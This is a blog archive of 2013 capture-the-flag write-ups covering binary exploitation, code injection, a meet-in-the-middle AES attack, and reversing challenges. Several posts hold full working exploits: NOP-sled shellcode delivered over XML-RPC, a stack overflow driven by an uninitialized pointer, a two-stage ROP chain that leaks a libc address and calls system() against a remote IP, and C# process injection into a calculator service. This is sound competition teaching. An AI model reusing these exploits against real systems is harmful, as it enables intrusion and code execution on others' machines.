Wednesday, June 12, 2013

InCTF 2013 Quals - Binary 800

This again is a challenge we set for InCTF Quals. The idea was inspired by the service Maya written for previous edition of InCTF. Service listens on port 6666. Participants were given the memory map of process, which shows absence of ASLR and NX. No other information was given. Here is the intented way of solving the challenge

Try connecting to the service. We get a bad request message
[ctf@renorobert InCTF]$ nc 127.0.0.1 6666
qwerty
<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code 400.
<p>Message: Bad request syntax ('qwerty').
<p>Error code explanation: 400 = Bad request syntax or unsupported method.
</body>
Now lets figure out whats running on port 6666 using nmap
[ctf@renorobert InCTF]$ nmap -A 127.0.0.1 -p6666
........................................
PORT     STATE SERVICE VERSION
6666/tcp open  http    Python SimpleXMLRPCServer (BaseHTTP 0.3; Python 2.7.3)
|_html-title: Error response
Nmap shows Python SimpleXMLRPCServer running on port 6666. Here is the python wrapper thats running the binary
#!/usr/bin/env python

from SimpleXMLRPCServer import SimpleXMLRPCServer
import subprocess
import signal

def encrypt(arg):
    data = subprocess.Popen(['./service', str(arg)], stdout=subprocess.PIPE, env=None, close_fds=True,)
    return data.stdout.read()

signal.signal(signal.SIGCHLD, signal.SIG_IGN)
server = SimpleXMLRPCServer(("0.0.0.0", 6666), allow_none=True)
server.register_introspection_functions()
server.register_function(encrypt)
server.logRequests = 0
server.serve_forever()
Some information from python docs:
SimpleXMLRPCServer.register_function(function[, name])
Register a function that can respond to XML-RPC requests

SimpleXMLRPCServer.register_introspection_functions()
Registers the XML-RPC introspection functions system.listMethods, system.methodHelp and system.methodSignature
[*] Our python service registers function 'encrypt' to respond to XML-RPC requests
[*] We also register the XML-RPC introspection functions system.listMethods, system.methodHelp and system.methodSignature. This helps to identify the registered function remotely

Now we have to use python's xmlrpclib to connect to the service
[*] First find the registered function remotely
[*] Then find the number of arguments it takes
[*] Then try calling the function to understand its working

Finding the registered function:
#!/usr/bin/env python
# fuzz.py

import xmlrpclib

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True,verbose=False)
print s.system.listMethods()
[ctf@renorobert InCTF]$ python fuzz.py 
['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']
Finding the number of arguments:
#!/usr/bin/env python
# fuzz.py

import xmlrpclib

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True,verbose=False)
print s.system.listMethods()
print s.encrypt()
[ctf@renorobert InCTF]$ python fuzz.py 
['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']
Traceback (most recent call last):
  File "fuzz.py", line 9, in <module>
    print s.encrypt()
..............................................
xmlrpclib.Fault: <Fault 1: "<type 'exceptions.TypeError'>:encrypt() takes exactly 1 argument (0 given)">
We get a nice error message saying we need exactly one argument and 0 given.
Call the function:
#!/usr/bin/env python
# fuzz.py

import xmlrpclib

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True,verbose=False)
print s.system.listMethods()
buffer="A"*100
print s.encrypt(buffer)
[ctf@renorobert InCTF]$ python fuzz.py 
['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Now we get proper response from the service. The binary is very simple, it does caesar shift. When we send 160 bytes of data, there is no response
[ctf@renorobert InCTF]$ python fuzz.py 
['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']

[ctf@renorobert InCTF]$
Now thats a crash. Since ASLR is disabled and the given memory map reveals that the executable is 32-bit, one can bruteforce the stack address. Here is the idea of exploit:
[*] Bruteforce the stack address and overwrite the EIP
[*] Use a huge NOP sled, followed by shellcode
[*] When right address is hit during bruteforce, shellcode is executed
[*] Avoid NUL byte in shellcode and the address used

Below is the exploit:
#!/usr/bin/env python

import xmlrpclib
import struct
import time

# msfvenom -p linux/x86/exec CMD=/usr/bin/id -a x86 -b '\x00'

shellcode = ("\xda\xc4\xd9\x74\x24\xf4\xbd\x65\xa7\x25\x48\x5f\x29\xc9" +
             "\xb1\x0c\x83\xc7\x04\x31\x6f\x16\x03\x6f\x16\xe2\x90\xcd" +
             "\x2e\x10\xc3\x40\x57\xc8\xde\x07\x1e\xef\x48\xe7\x53\x98" +
             "\x88\x9f\xbc\x3a\xe1\x31\x4a\x59\xa3\x25\x40\x9e\x43\xb6" +
             "\x76\xeb\x30\xc4\xa7\x71\xdf\x46\x97\x1c\x7b\x97\xb0\x8d" +
             "\x0a\x76\xf3\xb2")

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True, verbose=True)
nop = struct.pack("B", 0x90)
junk = "A"*128

for i in range(100):
    time.sleep(0.5)
    address = 0xffffe000 - 0x302 * i
    if address > 0xfffe9000:
        print hex(address)
        ret = struct.pack("<I", address)
        payload = junk + ret * 40 + nop * 1000 + shellcode
        try:
            print s.encrypt(payload)
        except:
            continue
Running the exploit with verbose set to True, we got the below response:
reply: 'HTTP/1.0 200 OK\r\n'
header: Server: BaseHTTP/0.3 Python/2.7.3
header: Date: Tue, 11 Jun 2013 17:55:03 GMT
header: Content-type: text/xml
header: Content-length: 351
body: "<?xml version='1.0'?>\n<methodResponse>\n<fault>\n<value><struct>\n<member>\n<name>faultCode</name>\n<value><int>1</int></value>\n</member>\n<member>\n<name>faultString</name>\n<value><string><class 'xml.parsers.expat.ExpatError'>:not well-formed (invalid token): line 6, column 143</string></value>\n</member>\n</struct></value>\n</fault>\n</methodResponse>\n"
Thats a error message saying not well-formed. So our XML is not well formed, we have to figure out a way to overcome this. Here is something from python docs
When passing strings, characters special to XML such as <, >, and & will be automatically escaped. However, it’s the caller’s responsibility to ensure that the string is free of characters that aren’t allowed in XML, such as the control characters with ASCII values between 0 and 31 (except, of course, tab, newline and carriage return); failing to do this will result in an XML-RPC request that isn’t well-formed XML. If you have to pass arbitrary strings via XML-RPC, use the Binary wrapper class
So lets encode our payload to base64. Here is our final exploit
#!/usr/bin/env python

import xmlrpclib
import struct
import time

# msfvenom -p linux/x86/exec CMD=/usr/bin/id -a x86 -b '\x00'

shellcode = ("\xda\xc4\xd9\x74\x24\xf4\xbd\x65\xa7\x25\x48\x5f\x29\xc9" +
             "\xb1\x0c\x83\xc7\x04\x31\x6f\x16\x03\x6f\x16\xe2\x90\xcd" +
             "\x2e\x10\xc3\x40\x57\xc8\xde\x07\x1e\xef\x48\xe7\x53\x98" +
             "\x88\x9f\xbc\x3a\xe1\x31\x4a\x59\xa3\x25\x40\x9e\x43\xb6" +
             "\x76\xeb\x30\xc4\xa7\x71\xdf\x46\x97\x1c\x7b\x97\xb0\x8d" +
             "\x0a\x76\xf3\xb2")

s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True, verbose=0)
nop = struct.pack("B", 0x90)
junk = "A"*128

for i in range(100):
    time.sleep(0.5)
    address = 0xffffe000 - 0x302 * i
    if address > 0xfffe9000:
        print hex(address)
        ret = struct.pack("<I", address)
        payload = junk + ret * 40 + nop * 1000 + shellcode
        encoded = xmlrpclib.Binary(payload) # encode payload
        try:
            print s.encrypt(encoded)
        except:
            continue
[ctf@renorobert InCTF]$ python bin800.py
0xffffe000
0xffffdcfe

0xffffd9fc

0xffffd6fa

0xffffd3f8
uid=500(ctf) gid=500(ctf) groups=500(ctf) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

0xffffd0f6
uid=500(ctf) gid=500(ctf) groups=500(ctf) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

0xffffcdf4

0xffffcaf2
We successfully executed our shellcode!

InCTF 2013 Quals - Binary 300

This is a challenge that we set for InCTF Quals, a national level contest for students. We had a ELF 32-bit LSB executable, running on a 64-bit machine. The source code was provided to the participants. Since we had only few solvers, I thought of making a writeup
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

void two() {
    char buf[1024];
    char *pass;
    char *fail = NULL;
    if(pass)
        strcpy(buf, pass);
}

void one(char *arg) {
    char buf[4096];
    memset(buf, 0x00, sizeof(buf));
    strncpy(buf, arg, sizeof(buf)-1);
}

int main(int argc, char **argv) {
    if(argc != 2)
        exit(-1);
    one(argv[1]);
    two();
    return 0;
}
Both ASLR and NX were turned off. Vulnerability is easy to spot from code

[*] When function one() is called stack is filled with argv[1], this content remains in stack
[*] Function two() has an uninitialized pointer. This pointer is initialized with content already present in stack
[*] By controlling the value of uninitialized pointer, we can overwrite saved EIP using the strcpy() call

One can view the stack address as:
Breakpoint 1, 0x08048536 in main ()
(gdb) info program 
 Using the running image of child process 11166.
Program stopped at 0x8048536.
It stopped at breakpoint 1.
(gdb) shell cat /proc/11166/maps
........................................
f7fe0000-f7fe1000 rwxp 00000000 00:00 0 
f7ffc000-f7ffd000 rwxp 00000000 00:00 0 
f7ffd000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffe9000-ffffe000 rwxp 00000000 00:00 0                                  [stack]
Since ASLR is disabled we can exactly compute the address of shellcode in stack. There is a interesting point, though the binary was compiled as 32-bit using gcc -m32 flag in 64-bit operating system, the size of void pointer pushed into stack is still of size 8 bytes instead of 4 bytes.
(gdb) x/2wx 0xffffe000-0x8
0xffffdff8: 0x00000000 0x00000000
With the above information we can build the exploit to get shell
#!/usr/bin/env python

import os
import struct

# msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'

shellcode = ("\xd9\xc6\xb8\x76\xee\x8c\x5a\xd9\x74\x24\xf4\x5e\x31\xc9" +
             "\xb1\x0b\x31\x46\x1a\x83\xee\xfc\x03\x46\x16\xe2\x83\x84" +
             "\x87\x02\xf2\x0b\xfe\xda\x29\xcf\x77\xfd\x59\x20\xfb\x6a" +
             "\x99\x56\xd4\x08\xf0\xc8\xa3\x2e\x50\xfd\xbc\xb0\x54\xfd" +
             "\x93\xd2\x3d\x93\xc4\x61\xd5\x6b\x4c\xd5\xac\x8d\xbf\x59" )

vuln = "./bin300"

shell_addr = 0xffffe000 - 0x8 - len(vuln) - len(shellcode) - 0x2
two_buf = "A"*1024 + struct.pack("<I",shell_addr) * 50

env_var = two_buf + shellcode
two_buf_addr = 0xffffe000 - 0x8 - len(vuln) - len(env_var) - 0x2
arg = struct.pack("<I",two_buf_addr) * 1024

env = {"":env_var}

os.execve(vuln,[vuln,arg],env)
[ctf@renorobert InCTF]$ python bin300.py 
sh-4.1#

Tuesday, June 11, 2013

Boston Key Party CTF 2013 - Pwnable 200 - fss_gainesville - [Team xbios]

We were given a ELF 64-bit LSB executable. Its running on 50.112.133.81 30002. After analysing the binary, we found a buffer overflow vulnerability in pirep() function. This is how to trigger the vulnerability
(gdb) run 
 Welcome to Florida Gainesville Radio Flight Service Station

Would you like to: 
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit
> 5
Please enter coded PIREP: UB /OV OKC /TM 1522 /FL 080 /TP CE172 / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
Invalid Report Type, consult documentation

Program received signal SIGSEGV, Segmentation fault.
0x000000000040171c in pirep ()
(gdb) info registers
rax            0x2b 43
rbx            0x0 0
rcx            0xffffffff 4294967295
rdx            0x38b7d7ae10 243602533904
rsi            0x7ffff7ffc000 140737354121216
rdi            0x0 0
rbp            0x4242424242424242 0x4242424242424242
rsp            0x7fffffffe128 0x7fffffffe128
r8             0x542074726f706552 6061973133285418322
r9             0x6e6f63202c657079 7957688056421904505
r10            0x636f6420746c7573 7165055622724744563
r11            0x246 582
r12            0x400820 4196384
r13            0x7fffffffe230 140737488347696
r14            0x0 0
r15            0x0 0
rip            0x40171c 0x40171c <pirep+487>
eflags         0x10206 [ PF IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0 0
es             0x0 0
fs             0x0 0
gs             0x0 0
(gdb) x/i $rip
=> 0x40171c <pirep+487>: retq
Sending a PIREP in proper format with 160 bytes overwrites saved RIP. Input is taken using read function as read(0, $RBP-0x90, 0x400). NX, stack and libc ASLR are enabled. We need to built a ROP payload to bypass these protections. Along with the binary, we also have the libc library used in the remote machine. Here is the plan of the exploit:

[*] Compute the offset difference between __libc_start_main and system functions from the given libc.so.6 file
[*] Leak randomized address of __libc_start_main from the GOT entry of the executable
[*] Add the offset to the leaked address, this will give the address of randomized system function
[*] Load the registers with needed arguments, x86-64 uses different calling convention
[*] Jump into system function in libc to execute commands

To load register EDI .ie argument number 1, I used the below gadget
0x004018b0 : mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret
Since I couldn't find much gadgets to load other registers, puts() function was used for information leak. Unlike write(), puts() takes only one argument, so its enough to load register EDI with the GOT address of __libc_start_main. Here is the exploit structure

Stage ONE:
[*] Overwrite RBP with .bss address
[*] Overwrite RIP with address of gadget mov edi, dword [rsp+0x30] ; add rsp, 0x38
[*] Fill stack such that EDI is loaded with GOT address of __libc_start_main
[*] Return into address 0x0040174a, this is call to puts() in main() function. This also results in code replay
[*] Call to puts(), will leak address of randomized __libc_start_main

Stage TWO:
[*] RBP is restored to stack due to call of pirep() again from main()
[*] Fill stack using read(0, $RBP-0x90, 0x400) such that saved RIP points to gadget mov edi, dword [rsp+0x30] ; add rsp, 0x38
[*] Load EDI with the address of "sh" string
[*] Compute address of system function(leaked address + offset) and return into this address

Below is the exploit:
#!/usr/bin/env python

import struct
import socket

ip = "50.112.133.81"
port = 30002

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)

libc_start_main = 0x0000000000021680
system = 0x0000000000045660
got_libc_start_main = 0x000000602240

PIREP = "UB /OV OKC /TM 1522 /FL 080 /TP CE172 / " # PIREP format
option = "5"
JUNK = "MOVEMOVE"

################################# stage 1 ####################################

print soc.recv(1024)
soc.send(option + "\n")
print soc.recv(1024)

payload  = PIREP
payload += "A" * 104
payload += struct.pack("<Q", 0x006022a0) # .bss address for RBP
payload += struct.pack("<Q", 0x004018b0) # mov edi, dword [rsp+0x30] ; add rsp, 0x38
payload += JUNK * 6
payload += struct.pack("<Q", got_libc_start_main)
payload += struct.pack("<Q", 0x0040174a) # replay code from call to puts() in main()

soc.send(payload + "\n")
leak = soc.recv(1024)
addr = struct.unpack("<Q", leak[43:49] + "\x00\x00")[0]
print hex(addr)

################################# stage 2 ####################################

print soc.recv(1024)
soc.send(option + "\n")
print soc.recv(1024)

payload2  = PIREP
payload2 += "A" * 104
payload2 += struct.pack("<Q", 0x006022a0) # .bss address for RBP
payload2 += struct.pack("<Q", 0x004018b0) # mov edi, dword [rsp+0x30] ; add rsp, 0x38
payload2 += JUNK * 6
payload2 += struct.pack("<Q", 0x0040046e) # addr of sh string
payload2 += struct.pack("<Q", (system - libc_start_main) + addr) # address of system

soc.send(payload2 + "\n")
soc.send("cat flag\n")
print repr(soc.recv(1024))
[ctf@renorobert fss_gainesville]$ python exploit.py
 Welcome to Florida Gainesville Radio Flight Service Station

Would you like to: 
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit

> 
Please enter coded PIREP: 
0x7f732a1a5680
> 
Please enter coded PIREP: 
'this_sexy86_n0t_mucho_2_$ay_:|\n'
The flag for the challenge is this_sexy86_n0t_mucho_2_$ay_:|

Boston Key Party CTF 2013 - Crypto 200 - MITM - [Team xbios]

We were given a text file with the below contents
message 1:  QUVTLTI1NiBFQ0IgbW9kZSB0d2ljZSwgdHdvIGtleXM=
encrypted:  THbpB4bE82Rq35khemTQ10ntxZ8sf7s2WK8ErwcdDEc=
message 2:  RWFjaCBrZXkgemVybyB1bnRpbCBsYXN0IDI0IGJpdHM=
encrypted:  01YZbSrta2N+1pOeQppmPETzoT/Yqb816yGlyceuEOE=
ciphertext: s5hd0ThTkv1U44r9aRyUhaX5qJe561MZ16071nlvM9U=
>>> import base64
>>> message1 = "QUVTLTI1NiBFQ0IgbW9kZSB0d2ljZSwgdHdvIGtleXM="
>>> message2 = "RWFjaCBrZXkgemVybyB1bnRpbCBsYXN0IDI0IGJpdHM="
>>> base64.b64decode(message1)
'AES-256 ECB mode twice, two keys'
>>> base64.b64decode(message2)
'Each key zero until last 24 bits'
So we have the following details:

[*] Two pair of plain text and cipher text
[*] AES-256 ECB mode is used, so no IV. Length of key is 32 bytes
[*] Message is encrypted twice with two keys
[*] 29 bytes of key is zero, bruteforce the last 3 bytes
[*] Name of the challenge says its Meet In The Middle Attack

To find the key:

[*] Generate a dictionary of all possible {cipher:key} from plain text(message1). Since we bruteforce last 3 bytes of key, there would be 256*256*256 entries
[*] Then decrypt the cipher text(encrypted1) using all possible key(2nd key) and lookup the dictionary {cipher:key}
[*] If there is a hit, thats our key pair (k1, k2)
[*] Decrypt the cipher text as Dk1(Dk2(Cipher))), thats our flag

Below is the code to do that:
#!/usr/bin/env python

from Crypto.Cipher import AES  # requires pycrypto package
from struct import pack
import base64
import sys

# ECB mode, each block of 16 bytes encrypted independently
plain_text = base64.b64decode("QUVTLTI1NiBFQ0IgbW9kZSB0d2ljZSwgdHdvIGtleXM=")[:16] 
cipher_text = base64.b64decode("THbpB4bE82Rq35khemTQ10ntxZ8sf7s2WK8ErwcdDEc=")[:16]
enc_message = base64.b64decode("s5hd0ThTkv1U44r9aRyUhaX5qJe561MZ16071nlvM9U=")

lookuptable = {}
key_prefix = pack("B", 0x00) * 29

# genarate list of possiblities
for i in range(256):
    for j in range(256):
        for k in range(256):
            brute = chr(i) + chr(j) + chr(k)
            cipher = AES.new(key_prefix + brute, AES.MODE_ECB).encrypt(plain_text)
            lookuptable.update({cipher:key_prefix + brute})

print "Lookup table Generated!"

for x in range(256):
    for y in range(256):
        for z in range(256):
            brute = chr(x) + chr(y) + chr(z)
            cipher = AES.new(key_prefix + brute, AES.MODE_ECB).decrypt(cipher_text)
            if lookuptable.has_key(cipher):  # find key
                key1 = lookuptable[cipher]
                key2 = key_prefix + brute
                c1 = AES.new(key2, AES.MODE_ECB).decrypt(enc_message)
                print AES.new(key1, AES.MODE_ECB).decrypt(c1)
                sys.exit(0)  
[ctf@renorobert BKPCTF]$ python solve200.py
Lookup table Generated!
This time I didn't include sol'n
Flag for the challenge is This time I didn't include sol'n

Boston Key Party CTF 2013 - Reverse 100 - Randy - [Team xbios]

Randy is a ELF 64-bit LSB executable. We have to figure out the valid key
[ctf@renorobert BKPCTF]$ ./randy 
Password: qwerty
:(
Analysing the binary, we notice the following

[*] Key is 28 characters long
[*] Each 4 bytes from key is used as seed argument for srandom() function ie. we have 7 blocks of 4 characters each
[*] Then random() function is called 4 times, on each block of 4 characters and generated numbers are compared to validate the key
[*] So the idea is to figure out the seed value used for srandom() function

We can bruteforce the seed value to figure out the key. Here is the C code to do this
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {

    unsigned int seed;
    long int rand;
    unsigned int de;
    unsigned int ad;
    unsigned int be;
    unsigned int ef;
 
    for(de = 0x20; de <= 0x7e; de++) {
        for(ad = 0x20; ad <= 0x7e; ad++) {
            for(be = 0x20; be <= 0x7e; be++) {
                for(ef = 0x20; ef <= 0x7e; ef++) {
                    seed = (de << 24 | ad << 16 | be << 8 | ef << 0 );
                    srandom(seed);
                    rand = random();
                    if(rand == 0x7358837a)
                        printf("Possible seed for 00-03 bytes: 0x%x\n", seed);
                    else if(rand == 0x34d8c3b5)
                        printf("Possible seed for 04-07 bytes: 0x%x\n", seed);
                    else if(rand == 0x1f49456c)
                        printf("Possible seed for 08-11 bytes: 0x%x\n", seed);
                    else if(rand == 0x1fea6614)
                        printf("Possible seed for 12-15 bytes: 0x%x\n", seed);
                    else if(rand == 0x4e81abc7)
                        printf("Possible seed for 16-19 bytes: 0x%x\n", seed);
                    else if(rand == 0x683d3f5d)
                        printf("Possible seed for 20-23 bytes: 0x%x\n", seed);
                    else if(rand == 0x28c9a8fe)
                        printf("Possible seed for 24-27 bytes: 0x%x\n", seed);
                }
            }
        }
    }
}
Running the code, we got the seeds in sometime
[ctf@renorobert BKPCTF]$ ./brute_randy 
Possible seed for 00-03 bytes: 0x2074306e
Possible seed for 24-27 bytes: 0x21212121
Possible seed for 08-11 bytes: 0x30646e34
Possible seed for 20-23 bytes: 0x31316120
Possible seed for 12-15 bytes: 0x3420306d
Possible seed for 04-07 bytes: 0x72203073
Possible seed for 16-19 bytes: 0x72337466
Now converting this to text gives us the valid key
>>> from struct import pack
>>> pack("<I",0x2074306e)+pack("<I",0x72203073)+pack("<I",0x30646e34)+pack("<I",0x3420306d)+pack("<I",0x72337466)+pack("<I",0x31316120)+pack("<I",0x21212121)
'n0t s0 r4nd0m0 4ft3r a11!!!!'
[ctf@renorobert BKPCTF]$ ./randy 
Password: n0t s0 r4nd0m0 4ft3r a11!!!!
:)
Flag for the challenge is n0t s0 r4nd0m0 4ft3r a11!!!!

Boston Key Party CTF 2013 - Misc 100 - Wolfram Beta - [Team xbios]

Wolfram Beta is a calculator service running on 54.218.12.97 34567.
[ctf@renorobert BKPCTF]$ nc 54.218.12.97 34567
Wolfram Beta - BkP CTF 2013 Team
Wolfram Beta is a great calculator.
just put in a number at the prompt
then put in the operator
then finally the second number
and the calculation will be done INSTANTLY
no accounts necessacary, unlike some of our competition!
first num: 1
operator: +
second num: 2
Thinking...
......
Done Thinking!
3
Triggering a crash gives valuable information about the service. Here is what division by zero gave:
first num: 1
operator: /
second num: 0
Thinking...
.......
Done Thinking!
{interactive}(1,3): error CS0020: Division by constant zero

Unhandled Exception: System.ArgumentException: The expression did not set a result
  at Mono.CSharp.Evaluator.Evaluate (System.String input) [0x00000] in <filename unknown>:0 
  at wolfram_beta.MainClass.ReplCalculator () [0x00000] in <filename unknown>:0 
  at wolfram_beta.MainClass.Main (System.String[] args) [0x00000] in <filename unknown>:0 
[ERROR] FATAL UNHANDLED EXCEPTION: System.ArgumentException: The expression did not set a result
  at Mono.CSharp.Evaluator.Evaluate (System.String input) [0x00000] in <filename unknown>:0 
  at wolfram_beta.MainClass.ReplCalculator () [0x00000] in <filename unknown>:0 
  at wolfram_beta.MainClass.Main (System.String[] args) [0x00000] in <filename unknown>:0
An Unhandled Exception is triggered. We can see the line Mono.CSharp.Evaluator.Evaluate. Now we know that the service is written in CSharp. The user input is evaluated as Mono.CSharp.Evaluator.Evaluate (System.String input). This results in code injection vulnerability
first num: 1
operator: +3;System.Diagnostics.Process proc=new System.Diagnostics.Process();proc.StartInfo.FileName="ls";proc.StartInfo.Arguments="-a";proc.Start();
second num: 5
Thinking...
.
Done Thinking!
5
first num: .
..
.bash_history
.bash_logout
.bashrc
.profile
b
flag
first num: 1
operator: +3;System.Diagnostics.Process proc=new System.Diagnostics.Process();proc.StartInfo.FileName="cat";proc.StartInfo.Arguments="flag";proc.Start();
second num: 5
Thinking...
..
Done Thinking!
5
first num: at_least_its_not_a_python_jail 
Flag for the challenge is at_least_its_not_a_python_jail

Sunday, June 2, 2013

EBCTF Teaser 2013 - Crypto 100 - [Team xbios]

Description:
We suspect an employee of one of the embassies has leaked confidential information to a foreign intelligence agency. We've managed to capture an individual whom we assume to be the recipient of the info. Our forensics department has managed to recover two messages from his outbox, which appear to be encrypted using some crypto tool. Along with each email our suspect also received an SMS message containing a password, however we were only able to recover one - "SieR1mephad7oose". Could you help us decrypt both messages?

We had access to the cypto algorithm (crypto.py) and two messages sent (msg001.enc and msg002.enc). The password for 1st message is given in the README file. First lets decrypt the message
[ctf@renorobert cry100_espionage]$ python crypto.py 
Usage: crypto.py encrypt <password> <infile> <outfile>
 crypto.py decrypt <password> <infile> <outfile>

[ctf@renorobert cry100_espionage]$ python crypto.py decrypt SieR1mephad7oose msg001.enc msg001.dec 
[ctf@renorobert cry100_espionage]$ cat msg001.dec 
From: Vlugge Japie <vl.japie@yahoo.com>
To: Baron van Neemweggen <b.neemweggen@zmail.com>
Subj: Weekly update

Boss,

Sorry, I failed to get my hands on the information you
requested. Please don't tell the bureau - I'll have it
next week, promise! 

Vlugge Japie
Ok, there is nothing interesting in this message. We have to figure out a way to read the msg002.enc file. This is what the crypto algorithm does

Key Generation routine
[*] Generate raw bytes by hashing the password with sha256 algorithm, this gives 32 bytes
[*] XOR first half of hash with the second to generate 16 bytes key. Repeat this again for 20000 rounds

Encryption
[*] Once key is generated, the message is split into blocks of 16 bytes
[*] First 16 bytes of message is XOR'ed with 16 bytes key to get cipher text
[*] The key is then updated using the same key generation routine, after appending the len(msg) to the current key
[*] Thus every 16 bytes of plain text is encrypted with updated key

Since both messages are sent by same person, we assumed that mail headers are same in both messages. To decrypt the msg002.enc file
[*] XOR first 16 bytes of decrypted msg001.enc file and first 16 bytes of decoded msg002.enc file
[*] We found the key that comes after 20000 rounds, now pass this key to the encryption routine mentioned above

We used the given crypto.py to write the solution. Here it is
#!/usr/bin/env python
# solve.py

import hashlib

msg_one = open("msg001.dec").read().strip()
msg_two = open("msg002.enc").read().decode("base64")
hash_key = ''
blk = 16

# find key
for i in range(blk):
    hash_key += chr( ord(msg_one[i]) ^ ord(msg_two[i]) )
 
print repr(hash_key)

def xor(a, b):
    l = min(len(a), len(b))
    return ''.join([chr(ord(x) ^ ord(y)) for x, y in zip(a[:l], b[:l])])

def h(x):
    x = hashlib.sha256(x).digest()
    x = xor(x[:16], x[16:])
    return x

def crypt(msg, hash_key):

    k = hash_key
    out = ''

    for i in xrange(0, len(msg), 16):
        out += xor(msg[i:i+16], k)
        k = h(k + str(len(msg)))
    return out

print crypt(msg_two, hash_key)
[ctf@renorobert cry100_espionage]$ python solve.py
'\xea(\xb9\xa8G\xb1\x9da\x00\xccIC\xf2-\xef\xf1'
From: Vlugge Japie <vl.japie@yahoo.com>
To: Baron van Neemweggen <b.neemweggen@zmail.com>
Subj: Found it!

Boss,

I found some strange code on one of the documents.
Is this what you're looking for?

ebCTF{21bbc4f404fa2057cde2adbf864b5481}

Vlugge Japie
The flag for the challenge is ebCTF{21bbc4f404fa2057cde2adbf864b5481}

EBCTF Teaser 2013 - Bin 100 - [Team xbios]

For this challenge we were give a PE32 executable. Its a dice game, we have to throw some correct sequence of numbers to get the flag.
[ctf@renorobert EBCTF]$ file ebCTF-Teaser-BIN100-Dice.exe
ebCTF-Teaser-BIN100-Dice.exe: PE32 executable for MS Windows (console) Intel 80386 32-bit

[ctf@renorobert EBCTF]$ wine ebCTF-Teaser-BIN100-Dice.exe

[*] ebCTF 2013 Teaser - BIN100 - Dice Game
    To get the flag you will need to throw the correct numbers.

[*] You will first need to throw a three, press enter to throw a dice!

 -------
| O   O |
|       |
| O   O |
 -------

[*] You rolled a 4 That is not a three :/
[*] Game over!
Analysing the binary with IDA, we noticed the following

[*] We have to throw the sequence 3 - 1 - 3 - 3 - 7 to get flag
[*] Binary randomly generates numbers between 1 to 6 and does the comparison

We simply patched the essential JNZ instructions to JZ instruction, such that binary will stop execution only when right numbers are thrown. Here is the IDA dif file we used for patching
ebCTF-Teaser-BIN100-Dice.exe
00000D2B: 75 74
00000F92: 75 74
00001069: 75 74
000013A5: 75 74
0000163D: 75 74
000016D6: 85 84
00001A29: 75 74
00001A50: 85 84
Now execute the binary, we got the flag in the first run
[*] You rolled a seven, with a six sided dice! How awesome are you?!

[*] You rolled 3-1-3-3-7, what does that make you? ELEET! \o/
[*] Nice job, here is the flag: ebCTF{64ec47ece868ba34a425d90044cd2dec}
Flag for the challenge is ebCTF{64ec47ece868ba34a425d90044cd2dec}